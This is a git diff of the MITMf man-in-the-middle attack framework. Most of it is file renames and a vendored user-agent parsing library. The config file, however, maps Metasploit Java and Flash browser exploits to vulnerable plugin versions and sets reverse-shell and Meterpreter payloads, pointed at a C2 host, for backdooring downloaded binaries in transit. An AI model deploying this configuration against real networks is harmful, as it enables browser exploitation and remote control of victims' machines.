diff --git a/README.md b/README.md
index 6b1e8f6..1008bb1 100644
--- a/README.md
+++ b/README.md
@@ -72,9 +72,9 @@ How to install on Kali
Installation
============
If MITMf is not in your distros repo or you just want the latest version:
-- clone this repository
-- run the ```setup.sh``` script
-- run the command ```pip install -r requirements.txt``` to install all python dependencies
+- Clone this repository
+- Run the ```setup.sh``` script
+- Run the command ```pip install -r requirements.txt``` to install all python dependencies
On Kali Linux, if you get an error while installing the ```pypcap``` package or when starting MITMf you see: ```ImportError: no module named pcap``` run ```apt-get install python-pypcap``` to fix it.
diff --git a/config/mitmf.conf b/config/mitmf.conf
index 040eec3..ce7e7ec 100644
--- a/config/mitmf.conf
+++ b/config/mitmf.conf
@@ -18,7 +18,8 @@
pass = beef
[[Metasploit]]
- msfport = 8080 #Port to start webserver for exploits
+
+ msfport = 8080 #Port to start Metasploit's webserver on that will host exploits
rpcip = 127.0.0.1
rpcpass = abc123
@@ -231,37 +232,90 @@
skip_in_mass_poison=1
#you can add other scripts in additional sections like jQuery etc.
-[BrowserPwn]
+[BrowserSniper]
+ #
+ # Currently only supports java, flash and browser exploits
+ #
+ # The version strings were pulled from http://www.cvedetails.com
+ #
+ # When adding java exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
+ #
- #
- # All versions strings without a * are considered vulnerable if clients Java version is <= update version
- # When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28
- #
+ [[multi/browser/java_rhino]] #Exploit's MSF path
+
+ Type = PluginVuln #Can be set to PluginVuln, BrowserVuln
+ OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1)
- [[Multi]] #Cross platform exploits, yay java! <3
+ Browser = Any #Can be set to Any, Chrome, Firefox, IE or browser + version (e.g IE 6)
+ Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored)
- multi/browser/java_rhino = 1.6.0.28, 1.7.0.28
- multi/browser/java_calendar_deserialize = 1.6.0.10, 1.5.0.16
- multi/browser/java_getsoundbank_bof = 1.6.0.16, 1.5.0.21, 1.4.2.23, 1.3.1.26
- multi/browser/java_atomicreferencearray = 1.6.0.30, 1.5.0.33, 1.7.0.2
- multi/browser/java_jre17_exec = 1.7.0.6
- multi/browser/java_jre17_jaxws = 1.7.0.7
- multi/browser/java_jre17_jmxbean = 1.7.0.10
- multi/browser/java_jre17_jmxbean_2 = 1.7.0.11
- multi/browser/java_jre17_reflection_types = 1.7.0.17
- multi/browser/java_verifier_field_access = 1.7.0.4, 1.6.0.32, 1.5.0.35, 1.4.2.37
- multi/browser/java_jre17_glassfish_averagerangestatisticimpl = 1.7.0.7
- multi/browser/java_jre17_method_handle = 1.7.0.7
- multi/browser/java_jre17_driver_manager = 1.7.0.17
- multi/browser/java_jre17_provider_skeleton = 1.7.0.21
- multi/browser/java_storeimagearray = 1.7.0.21
- multi/browser/java_setdifficm_bof = *1.6.0.16, *1.6.0.11
+ #An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored)
+ PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0
- [[Windows]] #These are windows specific
+ [[multi/browser/java_atomicreferencearray]]
- windows/browser/java_ws_double_quote = 1.6.0.35, 1.7.0.7
- windows/browser/java_cmm = 1.6.0.41, 1.7.0.15
- windows/browser/java_mixer_sequencer = 1.6.0.18
+ Type = PluginVuln
+ OS = Any
+ Browser = Any
+ Plugin = Java
+ PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2
+
+ [[multi/browser/java_jre17_jmxbean_2]]
+
+ Type = PluginVuln
+ OS = Any
+ Browser = Any
+ Plugin = Java
+ PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
+
+ [[multi/browser/java_jre17_reflection_types]]
+
+ Type = PluginVuln
+ OS = Any
+ Browser = Any
+ Plugin = Java
+ PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
+
+ [[multi/browser/java_verifier_field_access]]
+
+ Type = PluginVuln
+ OS = Any
+ Browser = Any
+ Plugin = Java
+ PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4
+
+ [[multi/browser/java_jre17_provider_skeleton]]
+
+ Type = PluginVuln
+ OS = Any
+ Browser = Any
+ Plugin = Java
+ PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9
+
+
+ [[exploit/windows/browser/adobe_flash_pcre]]
+
+ Type = PluginVuln
+ OS = Windows
+ Browser = Any
+ Plugin = Flash
+ PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296
+
+ [[exploit/windows/browser/adobe_flash_net_connection_confusion]]
+
+ Type = PluginVuln
+ OS = Windows
+ Browser = Any
+ Plugin = Flash
+ PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305
+
+ [[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]]
+
+ Type = PluginVuln
+ OS = Windows
+ Browser = Any
+ Plugin = Flash
+ PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144
[SSLstrip+]
@@ -315,91 +369,93 @@
# Tested on Kali-Linux.
[[ZIP]]
- # patchCount is the max number of files to patch in a zip file
- # After the max is reached it will bypass the rest of the files
- # and send on it's way
+ # patchCount is the max number of files to patch in a zip file
+ # After the max is reached it will bypass the rest of the files
+ # and send on it's way
- patchCount = 5
+ patchCount = 5
- # In Bytes
- maxSize = 40000000
+ # In Bytes
+ maxSize = 40000000
- blacklist = .dll, #don't do dlls in a zip file
+ blacklist = .dll, #don't do dlls in a zip file
[[TAR]]
- # patchCount is the max number of files to patch in a tar file
- # After the max is reached it will bypass the rest of the files
- # and send on it's way
+ # patchCount is the max number of files to patch in a tar file
+ # After the max is reached it will bypass the rest of the files
+ # and send on it's way
- patchCount = 5
+ patchCount = 5
- # In Bytes
- maxSize = 40000000
+ # In Bytes
+ maxSize = 40000000
- blacklist = , # a comma is null do not leave blank
+ blacklist = , # a comma is null do not leave blank
[[targets]]
#MAKE SURE that your settings for host and port DO NOT
# overlap between different types of payloads
[[[ALL]]] # DEFAULT settings for all targets REQUIRED
-
- LinuxType = ALL # choices: x86/x64/ALL/None
- WindowsType = ALL # choices: x86/x64/ALL/None
- FatPriority = x64 # choices: x86 or x64
-
- FileSizeMax = 60000000 # ~60 MB (just under) No patching of files this large
- CompressedFiles = True #True/False
+ LinuxType = ALL # choices: x86/x64/ALL/None
+ WindowsType = ALL # choices: x86/x64/ALL/None
+ FatPriority = x64 # choices: x86 or x64
- [[[[LinuxIntelx86]]]]
- SHELL = reverse_shell_tcp # This is the BDF syntax
- HOST = 192.168.1.168 # The C2
- PORT = 8888
- SUPPLIED_SHELLCODE = None
- MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax
-
- [[[[LinuxIntelx64]]]]
- SHELL = reverse_shell_tcp
- HOST = 192.168.1.16
- PORT = 9999
- SUPPLIED_SHELLCODE = None
- MSFPAYLOAD = linux/x64/shell_reverse_tcp
+ FileSizeMax = 60000000 # ~60 MB (just under) No patching of files this large
- [[[[WindowsIntelx86]]]]
- PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND
- # PATCH_METHOD overwrites PATCH_TYPE with jump
- PATCH_METHOD = automatic
- HOST = 192.168.1.16
- PORT = 8443
- SHELL = iat_reverse_tcp_stager_threaded
- SUPPLIED_SHELLCODE = None
- ZERO_CERT = False
- PATCH_DLL = True
- MSFPAYLOAD = windows/meterpreter/reverse_tcp
+ CompressedFiles = True #True/False
+
+ [[[[LinuxIntelx86]]]]
+ SHELL = reverse_shell_tcp # This is the BDF syntax
+ HOST = 192.168.1.168 # The C2
+ PORT = 8888
+ SUPPLIED_SHELLCODE = None
+ MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax
+
+ [[[[LinuxIntelx64]]]]
+ SHELL = reverse_shell_tcp
+ HOST = 192.168.1.16
+ PORT = 9999
+ SUPPLIED_SHELLCODE = None
+ MSFPAYLOAD = linux/x64/shell_reverse_tcp
- [[[[WindowsIntelx64]]]]
- PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
- # PATCH_METHOD overwrites PATCH_TYPE with jump
- PATCH_METHOD = automatic
- HOST = 192.168.1.16
- PORT = 8088
- SHELL = iat_reverse_tcp_stager_threaded
- SUPPLIED_SHELLCODE = None
- ZERO_CERT = True
- PATCH_DLL = False
- MSFPAYLOAD = windows/x64/shell/reverse_tcp
+ [[[[WindowsIntelx86]]]]
+ PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
+ # PATCH_METHOD overwrites PATCH_TYPE with jump
+ # PATCH_METHOD = automatic
+ PATCH_METHOD =
+ HOST = 192.168.1.16
+ PORT = 8443
+ SHELL = iat_reverse_tcp_stager_threaded
+ SUPPLIED_SHELLCODE = None
+ ZERO_CERT = True
+ PATCH_DLL = False
+ MSFPAYLOAD = windows/meterpreter/reverse_tcp
- [[[[MachoIntelx86]]]]
- SHELL = reverse_shell_tcp
- HOST = 192.168.1.16
- PORT = 4444
- SUPPLIED_SHELLCODE = None
- MSFPAYLOAD = linux/x64/shell_reverse_tcp
+ [[[[WindowsIntelx64]]]]
+ PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
+ # PATCH_METHOD overwrites PATCH_TYPE with jump
+ # PATCH_METHOD = automatic
+ PATCH_METHOD =
+ HOST = 192.168.1.16
+ PORT = 8088
+ SHELL = iat_reverse_tcp_stager_threaded
+ SUPPLIED_SHELLCODE = None
+ ZERO_CERT = True
+ PATCH_DLL = False
+ MSFPAYLOAD = windows/x64/shell/reverse_tcp
- [[[[MachoIntelx64]]]]
- SHELL = reverse_shell_tcp
- HOST = 192.168.1.16
- PORT = 5555
- SUPPLIED_SHELLCODE = None
- MSFPAYLOAD = linux/x64/shell_reverse_tcp
\ No newline at end of file
+ [[[[MachoIntelx86]]]]
+ SHELL = reverse_shell_tcp
+ HOST = 192.168.1.16
+ PORT = 4444
+ SUPPLIED_SHELLCODE = None
+ MSFPAYLOAD = linux/x64/shell_reverse_tcp
+
+ [[[[MachoIntelx64]]]]
+ SHELL = reverse_shell_tcp
+ HOST = 192.168.1.16
+ PORT = 5555
+ SUPPLIED_SHELLCODE = None
+ MSFPAYLOAD = linux/x64/shell_reverse_tcp
diff --git a/core/ferretNG/ClientRequest.py b/core/ferretng/ClientRequest.py
similarity index 100%
rename from core/ferretNG/ClientRequest.py
rename to core/ferretng/ClientRequest.py
diff --git a/core/ferretNG/CookieCleaner.py b/core/ferretng/CookieCleaner.py
similarity index 100%
rename from core/ferretNG/CookieCleaner.py
rename to core/ferretng/CookieCleaner.py
diff --git a/core/ferretNG/DnsCache.py b/core/ferretng/DnsCache.py
similarity index 100%
rename from core/ferretNG/DnsCache.py
rename to core/ferretng/DnsCache.py
diff --git a/core/ferretNG/FerretProxy.py b/core/ferretng/FerretProxy.py
similarity index 100%
rename from core/ferretNG/FerretProxy.py
rename to core/ferretng/FerretProxy.py
diff --git a/core/ferretNG/SSLServerConnection.py b/core/ferretng/SSLServerConnection.py
similarity index 87%
rename from core/ferretNG/SSLServerConnection.py
rename to core/ferretng/SSLServerConnection.py
index 8ba8007..82dc8d1 100644
--- a/core/ferretNG/SSLServerConnection.py
+++ b/core/ferretng/SSLServerConnection.py
@@ -82,26 +82,11 @@ class SSLServerConnection(ServerConnection):
self.buildAbsoluteLink(match.group(1))
return data
-
- def replaceFavicon(self, data):
- match = re.search(SSLServerConnection.iconExpression, data)
-
- if (match != None):
- data = re.sub(SSLServerConnection.iconExpression,
- "", data)
- else:
- data = re.sub(SSLServerConnection.headExpression,
- "
", data)
-
- return data
def replaceSecureLinks(self, data):
data = ServerConnection.replaceSecureLinks(self, data)
data = self.replaceCssLinks(data)
- if (self.urlMonitor.isFaviconSpoofing()):
- data = self.replaceFavicon(data)
-
iterator = re.finditer(SSLServerConnection.linkExpression, data)
for match in iterator:
diff --git a/core/ferretNG/ServerConnection.py b/core/ferretng/ServerConnection.py
similarity index 100%
rename from core/ferretNG/ServerConnection.py
rename to core/ferretng/ServerConnection.py
diff --git a/core/ferretNG/ServerConnectionFactory.py b/core/ferretng/ServerConnectionFactory.py
similarity index 100%
rename from core/ferretNG/ServerConnectionFactory.py
rename to core/ferretng/ServerConnectionFactory.py
diff --git a/core/ferretNG/URLMonitor.py b/core/ferretng/URLMonitor.py
similarity index 100%
rename from core/ferretNG/URLMonitor.py
rename to core/ferretng/URLMonitor.py
diff --git a/core/ferretNG/__init__.py b/core/ferretng/__init__.py
similarity index 100%
rename from core/ferretNG/__init__.py
rename to core/ferretng/__init__.py
diff --git a/core/httpagentparser.py b/core/httpagentparser.py
new file mode 100644
index 0000000..0c739ac
--- /dev/null
+++ b/core/httpagentparser.py
@@ -0,0 +1,673 @@
+#
+#httpagentparser library, stolen from https://github.com/shon/httpagentparser
+#
+
+"""
+Extract client information from http user agent
+The module does not try to detect all capabilities of browser in current form (it can easily be extended though).
+Tries to
+ * be fast
+ * very easy to extend
+ * reliable enough for practical purposes
+ * assist python web apps to detect clients.
+"""
+
+__version__ = '1.7.7'
+
+
+class DetectorsHub(dict):
+ _known_types = ['os', 'dist', 'flavor', 'browser']
+
+ def __init__(self, *args, **kw):
+ dict.__init__(self, *args, **kw)
+ for typ in self._known_types:
+ self.setdefault(typ, [])
+ self.registerDetectors()
+
+ def register(self, detector):
+ if detector.info_type not in self._known_types:
+ self[detector.info_type] = [detector]
+ self._known_types.insert(detector.order, detector.info_type)
+ else:
+ self[detector.info_type].append(detector)
+
+ def __iter__(self):
+ return iter(self._known_types)
+
+ def registerDetectors(self):
+ detectors = [v() for v in globals().values() if DetectorBase in getattr(v, '__mro__', [])]
+ for d in detectors:
+ if d.can_register:
+ self.register(d)
+
+
+class DetectorBase(object):
+ name = "" # "to perform match in DetectorsHub object"
+ info_type = "override me"
+ result_key = "override me"
+ order = 10 # 0 is highest
+ look_for = "string to look for"
+ skip_if_found = [] # strings if present stop processin
+ can_register = False
+ version_markers = [("/", " ")]
+ allow_space_in_version = False
+ _suggested_detectors = None
+ platform = None
+ bot = False
+
+ def __init__(self):
+ if not self.name:
+ self.name = self.__class__.__name__
+ self.can_register = (self.__class__.__dict__.get('can_register', True))
+
+ def detect(self, agent, result):
+ # -> True/None
+ word = self.checkWords(agent)
+ if word:
+ result[self.info_type] = dict(name=self.name)
+ result['bot'] = self.bot
+ version = self.getVersion(agent, word)
+ if version:
+ result[self.info_type]['version'] = version
+ if self.platform:
+ result['platform'] = {'name': self.platform, 'version': version}
+ return True
+
+ def checkWords(self, agent):
+ # -> True/None
+ for w in self.skip_if_found:
+ if w in agent:
+ return False
+ if isinstance(self.look_for, (tuple, list)):
+ for word in self.look_for:
+ if word in agent:
+ return word
+ elif self.look_for in agent:
+ return self.look_for
+
+ def getVersion(self, agent, word):
+ """
+ => version string /None
+ """
+ version_markers = self.version_markers if \
+ isinstance(self.version_markers[0], (list, tuple)) else [self.version_markers]
+ version_part = agent.split(word, 1)[-1]
+ for start, end in version_markers:
+ if version_part.startswith(start) and end in version_part:
+ version = version_part[1:]
+ if end: # end could be empty string
+ version = version.split(end)[0]
+ if not self.allow_space_in_version:
+ version = version.split()[0]
+ return version
+
+
+class OS(DetectorBase):
+ info_type = "os"
+ can_register = False
+ version_markers = [";", " "]
+ allow_space_in_version = True
+ platform = None
+
+
+class Dist(DetectorBase):
+ info_type = "dist"
+ can_register = False
+ platform = None
+
+
+class Flavor(DetectorBase):
+ info_type = "flavor"
+ can_register = False
+ platform = None
+
+
+class Browser(DetectorBase):
+ info_type = "browser"
+ can_register = False
+
+
+class Firefox(Browser):
+ look_for = "Firefox"
+ version_markers = [('/', '')]
+ skip_if_found = ["SeaMonkey", "web/snippet"]
+
+
+class SeaMonkey(Browser):
+ look_for = "SeaMonkey"
+ version_markers = [('/', '')]
+
+
+class Konqueror(Browser):
+ look_for = "Konqueror"
+ version_markers = ["/", ";"]
+
+
+class OperaMobile(Browser):
+ look_for = "Opera Mobi"
+ name = "Opera Mobile"
+
+ def getVersion(self, agent, word):
+ try:
+ look_for = "Version"
+ return agent.split(look_for)[1][1:].split(' ')[0]
+ except IndexError:
+ look_for = "Opera"
+ return agent.split(look_for)[1][1:].split(' ')[0]
+
+
+class Opera(Browser):
+ look_for = "Opera"
+
+ def getVersion(self, agent, word):
+ try:
+ look_for = "Version"
+ return agent.split(look_for)[1][1:].split(' ')[0]
+ except IndexError:
+ look_for = "Opera"
+ version = agent.split(look_for)[1][1:].split(' ')[0]
+ return version.split('(')[0]
+
+
+class OperaNew(Browser):
+ """
+ Opera after version 15
+ """
+ name = "Opera"
+ look_for = "OPR"
+ version_markers = [('/', '')]
+
+
+class Netscape(Browser):
+ look_for = "Netscape"
+ version_markers = [("/", '')]
+
+
+class Trident(Browser):
+ look_for = "Trident"
+ skip_if_found = ["MSIE", "Opera"]
+ name = "IE"
+ version_markers = ["/", ";"]
+ trident_to_ie_versions = {
+ '4.0': '8.0',
+ '5.0': '9.0',
+ '6.0': '10.0',
+ '7.0': '11.0',
+ }
+
+ def getVersion(self, agent, word):
+ return self.trident_to_ie_versions.get(super(Trident, self).getVersion(agent, word))
+
+
+class MSIE(Browser):
+ look_for = "MSIE"
+ skip_if_found = ["Opera"]
+ name = "IE"
+ version_markers = [" ", ";"]
+
+
+class Galeon(Browser):
+ look_for = "Galeon"
+
+
+class WOSBrowser(Browser):
+ look_for = "wOSBrowser"
+
+ def getVersion(self, agent, word):
+ pass
+
+
+class Safari(Browser):
+ look_for = "Safari"
+
+ def checkWords(self, agent):
+ unless_list = ["Chrome", "OmniWeb", "wOSBrowser", "Android"]
+ if self.look_for in agent:
+ for word in unless_list:
+ if word in agent:
+ return False
+ return self.look_for
+
+ def getVersion(self, agent, word):
+ if "Version/" in agent:
+ return agent.split('Version/')[-1].split(' ')[0].strip()
+ if "Safari/" in agent:
+ return agent.split('Safari/')[-1].split(' ')[0].strip()
+ else:
+ return agent.split('Safari ')[-1].split(' ')[0].strip() # Mobile Safari
+
+class GoogleBot(Browser):
+ # https://support.google.com/webmasters/answer/1061943
+ look_for = ["Googlebot", "Googlebot-News", "Googlebot-Image",
+ "Googlebot-Video", "Googlebot-Mobile", "Mediapartners-Google",
+ "Mediapartners", "AdsBot-Google", "web/snippet"]
+ bot = True
+ version_markers = [('/', ';'), ('/', ' ')]
+
+class GoogleFeedFetcher(Browser):
+ look_for = "Feedfetcher-Google"
+ bot = True
+
+ def get_version(self, agent):
+ pass
+
+class RunscopeRadar(Browser):
+ look_for = "runscope-radar"
+ bot = True
+
+class GoogleAppEngine(Browser):
+ look_for = "AppEngine-Google"
+ bot = True
+
+ def get_version(self, agent):
+ pass
+
+class GoogleApps(Browser):
+ look_for = "GoogleApps script"
+ bot = True
+
+ def get_version(self, agent):
+ pass
+
+class TwitterBot(Browser):
+ look_for = "Twitterbot"
+ bot = True
+
+class MJ12Bot(Browser):
+ look_for = "MJ12bot"
+ bot = True
+
+class YandexBot(Browser):
+ # http://help.yandex.com/search/robots/agent.xml
+ look_for = "Yandex"
+ bot = True
+
+ def getVersion(self, agent, word):
+ return agent[agent.index('Yandex'):].split('/')[-1].split(')')[0].strip()
+
+class BingBot(Browser):
+ look_for = "bingbot"
+ version_markers = ["/", ";"]
+ bot = True
+
+
+class BaiduBot(Browser):
+ # http://help.baidu.com/question?prod_en=master&class=1&id=1000973
+ look_for = ["Baiduspider", "Baiduspider-image", "Baiduspider-video",
+ "Baiduspider-news", "Baiduspider-favo", "Baiduspider-cpro",
+ "Baiduspider-ads"]
+ bot = True
+ version_markers = ('/', ';')
+
+
+class LinkedInBot(Browser):
+ look_for = "LinkedInBot"
+ bot = True
+
+class ArchiveDotOrgBot(Browser):
+ look_for = "archive.org_bot"
+ bot = True
+
+class YoudaoBot(Browser):
+ look_for = "YoudaoBot"
+ bot = True
+
+class YoudaoBotImage(Browser):
+ look_for = "YodaoBot-Image"
+ bot = True
+
+class RogerBot(Browser):
+ look_for = "rogerbot"
+ bot = True
+
+class TweetmemeBot(Browser):
+ look_for = "TweetmemeBot"
+ bot = True
+
+class WebshotBot(Browser):
+ look_for = "WebshotBot"
+ bot = True
+
+class SensikaBot(Browser):
+ look_for = "SensikaBot"
+ bot = True
+
+class YesupBot(Browser):
+ look_for = "YesupBot"
+ bot = True
+
+class DotBot(Browser):
+ look_for = "DotBot"
+ bot = True
+
+class PhantomJS(Browser):
+ look_for = "Browser/Phantom"
+ bot = True
+
+class FacebookExternalHit(Browser):
+ look_for = 'facebookexternalhit'
+ bot = True
+
+
+class NokiaOvi(Browser):
+ look_for = "S40OviBrowser"
+
+class UCBrowser(Browser):
+ look_for = "UCBrowser"
+
+class BrowserNG(Browser):
+ look_for = "BrowserNG"
+
+class Dolfin(Browser):
+ look_for = 'Dolfin'
+
+class NetFront(Browser):
+ look_for = 'NetFront'
+
+class Jasmine(Browser):
+ look_for = 'Jasmine'
+
+class Openwave(Browser):
+ look_for = 'Openwave'
+
+class UPBrowser(Browser):
+ look_for = 'UP.Browser'
+
+class OneBrowser(Browser):
+ look_for = 'OneBrowser'
+
+class ObigoInternetBrowser(Browser):
+ look_for = 'ObigoInternetBrowser'
+
+class TelecaBrowser(Browser):
+ look_for = 'TelecaBrowser'
+
+class MAUI(Browser):
+ look_for = 'Browser/MAUI'
+
+ def getVersion(self, agent, word):
+ version = agent.split("Release/")[-1][:10]
+ return version
+
+
+class NintendoBrowser(Browser):
+ look_for = 'NintendoBrowser'
+
+
+class AndroidBrowser(Browser):
+ look_for = "Android"
+ skip_if_found = ['Chrome', 'Windows Phone']
+
+ # http://decadecity.net/blog/2013/11/21/android-browser-versions
+ def getVersion(self, agent, word):
+ pass
+
+
+class Linux(OS):
+ look_for = 'Linux'
+ platform = 'Linux'
+
+ def getVersion(self, agent, word):
+ pass
+
+
+class Blackberry(OS):
+ look_for = 'BlackBerry'
+ platform = 'BlackBerry'
+
+ def getVersion(self, agent, word):
+ pass
+
+
+class BlackberryPlaybook(Dist):
+ look_for = 'PlayBook'
+ platform = 'BlackBerry'
+
+ def getVersion(self, agent, word):
+ pass
+
+
+class WindowsPhone(OS):
+ name = "Windows Phone"
+ platform = 'Windows'
+ look_for = ["Windows Phone OS", "Windows Phone"]
+ version_markers = [(" ", ";"), (" ", ")")]
+
+
+class iOS(OS):
+ look_for = ('iPhone', 'iPad')
+ skip_if_found = ['like iPhone']
+
+
+class iPhone(Dist):
+ look_for = 'iPhone'
+ platform = 'iOS'
+ skip_if_found = ['like iPhone']
+
+ def getVersion(self, agent, word):
+ version_end_chars = [' ']
+ if not "iPhone OS" in agent:
+ return None
+ part = agent.split('iPhone OS')[-1].strip()
+ for c in version_end_chars:
+ if c in part:
+ version = part.split(c)[0]
+ return version.replace('_', '.')
+ return None
+
+
+class IPad(Dist):
+ look_for = 'iPad;'
+ platform = 'iOS'
+
+ def getVersion(self, agent, word):
+ version_end_chars = [' ']
+ if not "CPU OS " in agent:
+ return None
+ part = agent.split('CPU OS ')[-1].strip()
+ for c in version_end_chars:
+ if c in part:
+ version = part.split(c)[0]
+ return version.replace('_', '.')
+ return None
+
+
+class Macintosh(OS):
+ look_for = 'Macintosh'
+
+ def getVersion(self, agent, word):
+ pass
+
+
+class MacOS(Flavor):
+ look_for = 'Mac OS'
+ platform = 'Mac OS'
+ skip_if_found = ['iPhone', 'iPad']
+
+ def getVersion(self, agent, word):
+ version_end_chars = [';', ')']
+ part = agent.split('Mac OS')[-1].strip()
+ for c in version_end_chars:
+ if c in part:
+ version = part.split(c)[0]
+ return version.replace('_', '.')
+ return ''
+
+
+class Windows(Dist):
+ look_for = 'Windows'
+ platform = 'Windows'
+
+
+class Windows(OS):
+ look_for = 'Windows'
+ platform = 'Windows'
+ skip_if_found = ["Windows Phone"]
+ win_versions = {
+ "NT 6.3": "8.1",
+ "NT 6.2": "8",
+ "NT 6.1": "7",
+ "NT 6.0": "Vista",
+ "NT 5.2": "Server 2003 / XP x64",
+ "NT 5.1": "XP",
+ "NT 5.01": "2000 SP1",
+ "NT 5.0": "2000",
+ "98; Win 9x 4.90": "Me"
+ }
+
+ def getVersion(self, agent, word):
+ v = agent.split('Windows')[-1].split(';')[0].strip()
+ if ')' in v:
+ v = v.split(')')[0]
+ v = self.win_versions.get(v, v)
+ return v
+
+
+class Ubuntu(Dist):
+ look_for = 'Ubuntu'
+ version_markers = ["/", " "]
+
+
+class Debian(Dist):
+ look_for = 'Debian'
+ version_markers = ["/", " "]
+
+
+class Chrome(Browser):
+ look_for = "Chrome"
+ version_markers = ["/", " "]
+ skip_if_found = ["OPR"]
+
+ def getVersion(self, agent, word):
+ part = agent.split(word + self.version_markers[0])[-1]
+ version = part.split(self.version_markers[1])[0]
+ if '+' in version:
+ version = part.split('+')[0]
+ return version.strip()
+
+
+class ChromeiOS(Browser):
+ look_for = "CriOS"
+ version_markers = ["/", " "]
+
+
+class ChromeOS(OS):
+ look_for = "CrOS"
+ platform = ' ChromeOS'
+ version_markers = [" ", " "]
+
+ def getVersion(self, agent, word):
+ version_markers = self.version_markers
+ if word + '+' in agent:
+ version_markers = ['+', '+']
+ return agent.split(word + version_markers[0])[-1].split(version_markers[1])[1].strip()[:-1]
+
+
+class Android(Dist):
+ look_for = 'Android'
+ platform = 'Android'
+ skip_if_found = ['Windows Phone']
+
+ def getVersion(self, agent, word):
+ return agent.split(word)[-1].split(';')[0].strip()
+
+
+class WebOS(Dist):
+ look_for = 'hpwOS'
+
+ def getVersion(self, agent, word):
+ return agent.split('hpwOS/')[-1].split(';')[0].strip()
+
+
+class NokiaS40(OS):
+ look_for = 'Series40'
+ platform = 'Nokia S40'
+
+ def getVersion(self, agent, word):
+ pass
+
+
+class Symbian(OS):
+ look_for = ['Symbian', 'SymbianOS']
+ platform = 'Symbian'
+
+
+class PlayStation(OS):
+ look_for = ['PlayStation', 'PLAYSTATION']
+ platform = 'PlayStation'
+ version_markers = [" ", ")"]
+
+
+class prefs: # experimental
+ os = dict(
+ Linux=dict(dict(browser=[Firefox, Chrome], dist=[Ubuntu, Android])),
+ BlackBerry=dict(dist=[BlackberryPlaybook]),
+ Macintosh=dict(flavor=[MacOS]),
+ Windows=dict(browser=[MSIE, Firefox]),
+ ChromeOS=dict(browser=[Chrome]),
+ Debian=dict(browser=[Firefox])
+ )
+ dist = dict(
+ Ubuntu=dict(browser=[Firefox]),
+ Android=dict(browser=[Safari]),
+ IPhone=dict(browser=[Safari]),
+ IPad=dict(browser=[Safari]),
+ )
+ flavor = dict(
